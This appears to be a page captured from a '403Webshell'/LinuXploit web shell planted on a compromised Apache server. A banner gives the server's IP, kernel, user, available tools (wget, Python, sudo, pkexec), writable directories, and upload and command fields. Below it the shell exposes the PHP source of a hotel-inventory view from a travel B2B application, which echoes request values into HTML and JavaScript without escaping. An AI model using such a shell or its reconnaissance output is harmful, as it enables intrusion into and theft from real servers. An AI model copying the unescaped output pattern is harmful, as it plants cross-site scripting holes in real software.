403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/accommodation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/accommodation/inventorynew.phtml
<?php
$fromdatepost = $this->fromdate;
$todatepost = $this->todate;
$my_arr = $this->rateCardList;
$period = $this->period;
$hotelDetails = $this->hotelDetails;
$rowFromDate = array_values($my_arr['rowFromDate']);
$hotelname = !empty($hotelDetails['Title'])?$hotelDetails['Title'].', '.$hotelDetails['City_title']:'';
//echo '<pre>';print_r($this->searchArr);echo '</pre>';die;
function searchForDate($date, $array) {
   foreach ($array as $key => $val) {
	   if ($val['FromDate'] === $date) {
		   return $key;
	   }
   }
   return null;
}
$Suppliername = Zend_Controller_Action_HelperBroker::getStaticHelper('Supplier')->getSupplierName($this->searchArr['SupplierSysId']);


//function GUID()
//{
//    if (function_exists('com_create_guid') === true)
//    {
//        return trim(com_create_guid(), '{}');
//    }
//
//    return sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
//}

//echo '<pre>';print_r($hotelDetails);echo '</pre>';die;
?>
<!--Page main section start-->
<section id="min-wrapper" class="active">
<div id="main-content">
<div class="container-fluid">
<div class="row">
    <div class="col-md-12">
        <!--Top header start-->

        <!--Top breadcrumb start -->
        <ol class="breadcrumb">
            <li><a href="#"><i class="fa fa-home"></i></a></li>
            <li class="active">Accommodation</li><li class="active">Inventory Manage </li>
        </ol>
        <!--Top breadcrumb start -->
    </div>
    
    <!--for display message div-->
    <?php if (count($this->messages)) { ?>
    <div class="col-md-12" id="message_hotel_div"> 
        <div class="alert alert-success">
            <button aria-hidden="true" id="hideHotelMessage" class="close" type="button">×</button>
            <?php foreach ($this->messages as $message) {  ?>
                <span id="success-message-box"><?php echo $this->escape($message); ?></span>
            <?php } ?>    
        </div>   
   </div> 
    <?php } ?>
    
</div>
    
<script type="text/javascript">
$("#hideHotelMessage").click( function(){ 
   $("#message_hotel_div").hide(); 
});
</script>    
<style>
.remark-pub {background:#cc4707; padding:1px 3px; color:#fff;font-size:13px; text-decoration:none;width: 65px; display: block;}
.remark-net {background:#39ac73; padding:1px 3px; color:#fff;font-size:13px; text-decoration:none; width: 65px; display: block;}
.remark-pub1 {background:#cc4707; padding:1px 3px; color:#fff;font-size:13px; text-decoration:none;}
.remark-net1 {background:#39ac73; padding:1px 3px; color:#fff;font-size:13px; text-decoration:none;}
</style>    
<!-- Main Content Element  Start-->
<div class="row">

    <div class="col-md-12">
    	<div class="leadeBorder2">
        
        	<div class="panel-body">
              <div class="form-group form-group1 text-right query_listing_bg_margin_bottom_15">
                <!--<a href="<?php echo $this->baseUrl('hotel/manage'); ?>" style="float:left;" class="btn btn-default btn-sm"><i class="fa fa-fw fa-arrows"></i> Rate Expired (10)</a>-->
                <span style="float:left; margin-left:5px; text-decoration: none;">Supplier - <?=$Suppliername?></span>
                <a href="<?php echo $this->baseUrl('accommodation/manage'); ?>" class="btn btn-danger btn-sm"><i class="fa fa-fw fa-arrows"></i> My Hotel</a>
                <a href="<?php echo $this->baseUrl('accommodation/add-hotels'); ?>" class="btn btn-danger btn-sm"><i class="fa fa-fw fa-arrows"></i> Add Hotel</a>
                <a href="<?php echo $this->baseUrl('accommodation/inventory'); ?>" class="btn btn-danger btn-sm"><i class="fa fa-fw fa-arrows"></i> Hotel Rates List</a>
                <a href="<?php echo $this->baseUrl('accommodation/rate-card'); ?>" class="btn btn-warning btn-sm"><i class="fa fa-fw fa-arrows"></i> Add Hotel Rates</a>
            </div>                      
            
            <div class="col-md-12 no-padding">
			<?php //echo '<pre>';print_r($my_arr);echo '</pre>'; ?>
			<form name="searchinven" id="searchinven" class="" role="form" method="post" action="<?php echo $this->baseUrl('accommodation/inventorynew'); ?>">
			<input type="hidden" name="posteddata">
			<div>
				 <div class="col-md-2">
					<div class="form-group active">
						<label>From Date <span class="red">*</span></label>
							<div class="input-group ls-group-input">
								<input class="form-control fromdate" type="text" name="fromdate" id="from" value="<?=$this->searchArr['fromdate']?>"/>
								<span class="input-group-addon dateTimePickerCustom1" ><i class="fa fa-calendar"></i></span>
							</div>                        
					 </div>
				</div>
				
				<div class="col-md-2">
					<div class="form-group active">
						<label>To Date <span class="red">*</span></label>
						 <div class="input-group ls-group-input">
					<input class="form-control  todate" type="text" name="todate"  id="to" value="<?=$this->searchArr['todate']?>"/>
					<span class="input-group-addon dateTimePickerCustom1" ><i class="fa fa-calendar"></i></span>
				</div>                        
					</div>
					</div>
				<div class="col-md-2">
					<div class="form-group active">
					<label>Country  <span class="red">*</span></label>
                                        <input type="text" class="form-control whbg" value="<?=!empty($this->searchArr['ContName'])?$this->searchArr['ContName']:$hotelDetails['Count_title']?>" name="ContName" id="CountryName">
						<input type="hidden" class="form-control whbg" value="<?=$this->searchArr['ContId']?>" name="ContId" id="ContId">                
					</div>
			   </div>
			   
				<div class="col-md-3">
					<div class="form-group active">
					<label>Hotel <span class="red">*</span> <a href="javascript:void(0);" id="change-hotel" onclick="changeHotel();" style="display:none">Change Hotel</a></label>
                                        <input type="text" name="hotel_name" id="hotel_name" value="<?=!empty($this->searchArr['hotel_name'])?$this->searchArr['hotel_name']:$hotelname?>" class="form-control whbg">
						<input type="hidden" name="hotel_id" id="hidden_selected_hotel_id" value="<?=$this->searchArr['hotel_id']?>">               
					</div>
                                </div>
				<?php if(isset($this->searchArr['SupplierSysId']) && empty($this->searchArr['SupplierSysId'])){ ?>
				<div class="col-md-3">
					<div class="form-group active">
					<label>Supplier <span class="red">*</span> </label>
                                        <input type="text" name="supplier_name" id="supplier_name" class="form-control whbg" >
                                    <input type="hidden" name="SupplierSysId" id="hidden_selected_supplier_sys_id" value="<?php echo !empty($this->searchArr['SupplierSysId'])?trim($this->searchArr['SupplierSysId']):''; ?>">              
					</div>
                                </div>
                                <?php }else{ ?>
                            <input type="hidden" name="SupplierSysId" value="<?php echo !empty($this->searchArr['SupplierSysId'])?trim($this->searchArr['SupplierSysId']):''; ?>"> 
                                <?php } ?>
				<div class="col-md-2 ">
					<div class="form-group active">
					<label>Occupancy</label>
						<select id="ratetype" class="form-control" placeholder="Select" name="ratetype" >
							<option value="1" <?= ($this->searchArr['ratetype']==1)?'selected':''?>>Single Occupancy</option>
							<option value="2" <?= ($this->searchArr['ratetype']==2)?'selected':''?>>Double Occupancy</option>
							
							
						</select>               
					</div>
			    </div>
				
				<div class="col-md-1 no-padding">
					<div class="form-group">
					<!--<label>&nbsp;</label>
					<br>-->
						<button type="button" class="btn btn-warning saveaction" onclick="SearchInventory()">Search</button>               
					</div>
			    </div>
			</div>	
			</form>
				<div class="col-md-12">
				
				<div class="inventoryData" align="center"> <img class="inventoryLoader"  id="inventoryLoader" src="<?php echo $this->baseUrl('/public/tinymce/skins/lightgray/img/loader.gif'); ?>"/>
				
                                    
                                    
<table align="right" class="table table-bordered" style="margin-bottom:5px;">
	<tr>
		<td align="left">
		<a href="javascript:void(0);" onclick="NextPrevdates('prev');"><i class="fa fa-arrow-left"></i> Prev 7 Days</a>
		</td>
		<!--<td align="center">Child free age - <?php ///echo $my_arr['InfantAgeLimit']?> Years</td>-->
		<td align="center">
                    <label class="checkbox_popup">
                        <input type="checkbox" class="uncheckedbulk" id="SaleStart_<?=$hotelDetails['AccomSysId']?>" onclick="SaleStart('<?=$hotelDetails['AccomSysId']?>')" <?=($my_arr['IsSaleStart'] == 1)?'checked':''?> value="1"> 
                        <span class="checkmark"></span>
                        <?=($my_arr['IsSaleStart'] == 1)?'<span class="sts">Start Sale</span>':'<span class="sts">Start Sale</span>'?> 
                    </label>


        </td>


        <td align="center"><a target="_blank" href="<?php echo $this->baseUrl('accommodation/rate-card/id/'.$hotelDetails['AccomSysId']); ?>" title="Update bulk rate">Update Bulk Rate</a></td>
		<td align="center">
		<span class="remark-pub1" style="font-size:12px;">Publish Rate</span>
		<span class="remark-net1" style="font-size:12px;">Net Rate</span>
		</td>
                <td align="right">
		<a href="javascript:void(0);" onclick="NextPrevdates('next');" style="float:right;" > Next 7 Days <i class="fa fa-arrow-right"></i></a>
		</td>
	</tr>
</table>
                                    <?php if (!empty($my_arr['my_arr'])) { ?>
	<table class="table table-bordered table-bottomless" >

		<tr>
			<td align="left">Room Type</td>
			<?php if($period){foreach ($period as $dtk=>$dt ){ if(in_array($dt->format( "Y/m/d" ), $rowFromDate)){?>
			<td align="center"><?=$dt->format( "M-d-D" );?> </td>
			<?php } } } ?>
			<!--<td align="left">Action</td>-->
		</tr>
		<?php   foreach ($my_arr['my_arr'] as $index => $val) { 
                        $XRefItemSysId = $val[0]['XRefItemSysId'];
                        $EconomyType = $val[0]['EconomyType'];
                        $MealPlanType = $val[0]['MealPlanType'];
                    ?>
		<tr>
			<td align="left">
                            <?php echo $index;?> <br>
                            <input type="checkbox" class="unchecked" id="SaleSt_<?=$val[0]['XRefItemSysId']?>_<?=$val[0]['EconomyType']?>_<?=$val[0]['MealPlanType']?>" onclick="SaleStartInd('<?=$hotelDetails['AccomSysId']?>','<?=$val[0]['XRefItemSysId']?>','<?=$val[0]['EconomyType']?>','<?=$val[0]['MealPlanType']?>')" <?=($my_arr['IsSaleStartRoomWiseArr'][$EconomyType] >0)?'checked':''?> value="1"> <?=($my_arr['IsSaleStartRoomWiseArr'][$EconomyType] >0)?'<span class="stsin'.$XRefItemSysId.$EconomyType.$MealPlanType.'">Start</span>':'<span class="stsin'.$XRefItemSysId.$EconomyType.$MealPlanType.'">Start</span>'?> Sale
                            <!--<a href="javascript:void(0);" data-toggle="modal" title="Add Rate" data-target="#myModactpopupbulk" onclick="bulkAddInventory('0','0000/00/00','<?=$index;?>','<?=$val[0]['XRefItemSysId']?>','<?=$val[0]['EconomyType']?>','<?=$val[0]['MealPlanType']?>');"  style="text-decoration:none;font-size: 12px;">Update Bulk Rate</a>-->
                        </td>
			<?php 
			for($i=0;$i<count($rowFromDate);$i++) {
				$pos = searchForDate($rowFromDate[$i],$val);
                                
				if(!is_null($pos)){
					$pubrate = $val[$pos]['pubrate'];
					$netrate = $val[$pos]['netrate'];
			?>
			<td align="center"><a href="javascript:void(0);" data-toggle="modal" title="Update Rate" data-target="#myModactpopup" onclick="updateInventory('<?=$val[$pos]['InvnItemSysId']?>','<?=$val[$pos]['FromDate']?>','<?php echo $index;?>','<?=$val[$pos]['XRefItemSysId']?>','<?=$val[$pos]['EconomyType']?>','<?=$val[$pos]['MealPlanType']?>','<?=$val[$pos]['SupplierSysId']?>');"  style="text-decoration:none;">
			<span class="remark-pub"><?=(!empty($pubrate) && $pubrate > 0)?$pubrate:'NA'?></span>
			<span class="remark-net"><?=(!empty($netrate) && $netrate > 0)?$netrate:'NA'?></span></a>
			<span style="font-size:12px;"><input type="checkbox" id="blobk_<?=$val[$pos]['id']?>" <?=($val[$pos]['IsSaleStart'] == 0)?'checked':''?> value="1" onclick="Block('<?=$val[$pos]['id']?>')"> Blackout</span>
			</td>
			<?php }else{ ?>
                        <td align="center"><a href="javascript:void(0);" data-toggle="modal" title="Add Rate" data-target="#myModactpopup" onclick="addInventory('0','<?=$rowFromDate[$i]?>','<?=$index;?>','<?=$val[0]['XRefItemSysId']?>','<?=$val[0]['EconomyType']?>','<?=$val[0]['MealPlanType']?>','<?=$val[0]['SupplierSysId']?>');"  style="text-decoration:none;">
                            <span class="remark-pub">NA</span>
                            <span class="remark-net">NA</span></a>
                        </td>
                        <?php } } ?>
			<!--<td align="left">
				<input type="checkbox" id="active_" onclick="Active('')" value="1"  > Active<br>
				<input type="checkbox"> Non Refundable
				</td>-->
		</tr>
	<?php } ?>
	
	</table>
	<?php }else{echo 'No record found!';} ?>
				</div>
				
				</div>
				
			   
		  </div> 
                            
                            
            </div>
        </div>
		
		
    </div>
    
</div>
 <div class="modal fade" id="myModactpopup" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
    </div>
<div class="modal fade" id="myModactpopupbulk" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
    </div>
<!-- Main Content Element  End-->
</div>
</div>

<?php echo $this->render('copyrightfooter.phtml'); ?>
</section>
<!--Page main section end -->
<?php include_once 'application/views/scripts/newfooter.phtml';?>
<script type="text/javascript" src="<?php echo $this->baseUrl('public/assets/js/jquery.validate.min.js'); ?>"></script>
<script type="text/javascript">
var posteddata = '<?php echo json_encode($this->searchArr);?>';

</script>
<script src="<?php echo $this->baseUrl('public/js/hotel/newinventory.js'); ?>"></script>

<script type="text/javascript">

function closepopup() {
    $("#myModactpopup").hide();
}

function closepopupbulk() {
    $("#myModactpopupbulk").hide();
}

function changeHotel() {
        $("#hidden_selected_hotel_id").val('');
        $("input[name=hotel_name]").removeAttr("readonly");
        $("input[name=hotel_name]").val('');
        $("#change-hotel").hide();
}
function Block(a){
    //var ele = $('#Active_'+a).prop("checked");
    if($('#blobk_'+a).prop("checked") === true){
            var values = 0;
            //$('#rate_'+a).addClass("hide");
    }else if($('#blobk_'+a).prop("checked") === false){
             values = 1;
            //$('#rate_'+a).removeClass("hide");
    }
    var type = $('#blobk_'+a).attr("action");
    //alert(values); return false;
    $.ajax({
        url:'/accommodation/blockinventory',
        data: {id: a,val:values},
        type:'POST',
        dataType:'json',
        success:function(result){
            if(result.success){
                //alert('Record Update successfully.');
            }else{
                alert(result.message);
            }
        },
        error:function(result){
                alert('Blackout response error!!');
        }
    });	
}

function Active(a){
    if($('#active_'+a).prop("checked") === true){
            var values = 1;
    }else if($('#active_'+a).prop("checked") === false){
             values = 0;
    }
    var type = $('#active_'+a).attr("action");
    //alert(values); return false;
    $.ajax({
        url:'/accommodation/activeinventory',
        data: {InvnItemSysId: a,val:values},
        type:'POST',
        dataType:'json',
        success:function(result){
            if(result.success){
                //alert('Record Update successfully.');
            }else{
                alert(result.message);
            }
        },
        error:function(result){
                alert('Active response error!!');
        }
    });	
}
function SaleStart(a){
    if($('#SaleStart_'+a).prop("checked") === true){
            var values = 1;
    }else if($('#SaleStart_'+a).prop("checked") === false){
             values = 0;
    }
    var SupplierSysId = $("input[name=SupplierSysId]").val();
    var ToDateLast = '<?=$this->searchArr['todate']?>';
    var fromdate = '<?=$this->searchArr['fromdate']?>';
    //alert(ToDateLast); return false;
    $.ajax({
        url:'/accommodation/salestartinventory',
        data: {XRefAccoSysId: a,val:values,SupplierSysId:SupplierSysId,fromdate:fromdate,ToDateLast:ToDateLast},
        type:'POST',
        dataType:'json',
        success:function(result){
            if(result.success){
                if(values === 1){
                        alert('Start Sale successfully.');
                        $('.sts').html('Start');
                        $('.unchecked').prop('checked', true);
                }else{
                        alert('Stop Sale successfully.');
                        $('.sts').html('Start');
                        $('.unchecked').removeAttr('checked');
                }
            }else{
                alert(result.message);
            }
        },
        error:function(result){
                alert('Sale start response error!!');
        }
    });	
}

function SaleStartInd(h,r,e,m){
    if($('#SaleSt_'+r+'_'+e+'_'+m).prop("checked") === true){
            var values = 1;
    }else if($('#SaleSt_'+r+'_'+e+'_'+m).prop("checked") === false){
             values = 0;
    }
    var SupplierSysId = $("input[name=SupplierSysId]").val();
    var ToDateLast = '<?=$this->searchArr['ToDateLast']?>';
    var fromdate = '<?=$this->searchArr['fromdate']?>';
    //alert(SupplierSysId); return false;
    $.ajax({
        url:'/accommodation/salestartinventory',
        data: {XRefAccoSysId: h,val:values,XRefItemSysId:r,EconomyType:e,MealPlanType:m,SupplierSysId:SupplierSysId,fromdate:fromdate,ToDateLast:ToDateLast},
        type:'POST',
        dataType:'json',
        success:function(result){
            if(result.success){
                if(values === 1){
                        alert('Start Sale successfully.');
                        $('.stsin'+r+''+e+''+m).html('Start');
                }else{
                        alert('Stop Sale successfully.');
                        $('.stsin'+r+''+e+''+m).html('Start');
                }
            }else{
                alert(result.message);
            }
        },
        error:function(result){
                alert('Sale start response error!!');
        }
    });	
}

function getSupplierHotel(cityId)
{
    if(cityId!=='0')
    {
        $.ajax({
            url  : '<?php echo $this->baseUrl('/hotel/get-search-supplier-hotel') ?>',
            data : { cityId : cityId},
            type : 'POST',
            dataType : 'html',
            beforeSend : function() {
               //$("#select_hotel").empty();
            },
            success : function(response) {
               $("#select_supplier").html(response);
            }
        });
    } 
}


$("#supplier_name").autocomplete({
    source: '/flight/get-supplier-auto-search',
    minLength: 2,
    select: function (event, ui) {
        
        var SupplierSysId = ui.item.SupplierSysId;
        if(SupplierSysId === 0)
        {
          $("#hidden_selected_supplier_sys_id").val(SupplierSysId);
          $("#supplier_name").val('');
        } else {
          $("#hidden_selected_supplier_sys_id").val(SupplierSysId);
        }
    }
  });


$("#CountryName").autocomplete({
   source: '/hotel/get-country-auto-search',
   minLength: 2,
   select: function (event, ui) {
	   var CountryId = ui.item.ContId;
	   $("#ContId").val(CountryId);
   }
});

$("#hotel_name").focus( function() {
	var country = $("#CountryName").val();
	var ContId = $("#ContId").val();
	if((country == '0' || country == '')) {
		//$.notify({title: 'Please select country.'}, {position:'top center',style: 'metro',className: 'error',hideDuration: 100});
		alert("Please select country");
		$("#CountryName").focus();
		return false;
	}
	if((country == '0' || country == '') || (ContId == '0' || ContId == '')) {
		$.notify({title: 'Please select valid country.'}, {position:'top center',style: 'metro',className: 'error',hideDuration: 100});
		//alert("Please select valid country");
		$("#CountryName").focus();
		return false;
	}
});

$("input[name=hotel_name]").autocomplete({
	source: function(request, response) {
	$.getJSON("/hotel/autosuggestnew", { term : request.term , countryId: $("#ContId").val() }, 
			  response);
	},
	focus: function (event, ui) {
		event.preventDefault();
		$("#tags").val(ui.item.label);
	},
	
	messages: {
		noResults: '',
		results: function() {}
	},
	minLength: 3,

	select: function (event, ui) {
		event.preventDefault();
		
		if(ui.item.value == '-1') {
			$("#hidden_new_hotel_added_via_page").val('BULK');
			window.open('/accommodation/add-hotels', '_blank');
			//addNewHotelPopup();
		}else {
			$("#change-hotel").css("display","inherit");
			$("input[name=hotel_name]").val(ui.item.label);
			$("input[name=hotel_name]").attr("readonly",true);
			$("#hidden_selected_hotel_id").val(ui.item.value).trigger('change');
		}
		var AccomSysId = $("#hidden_selected_hotel_id").val();
		//populateRoomType(AccomSysId);
		//alert(AccomSysId);
	}
});


</script>    

Youez - 2016 - github.com/yon3zu
LinuXploit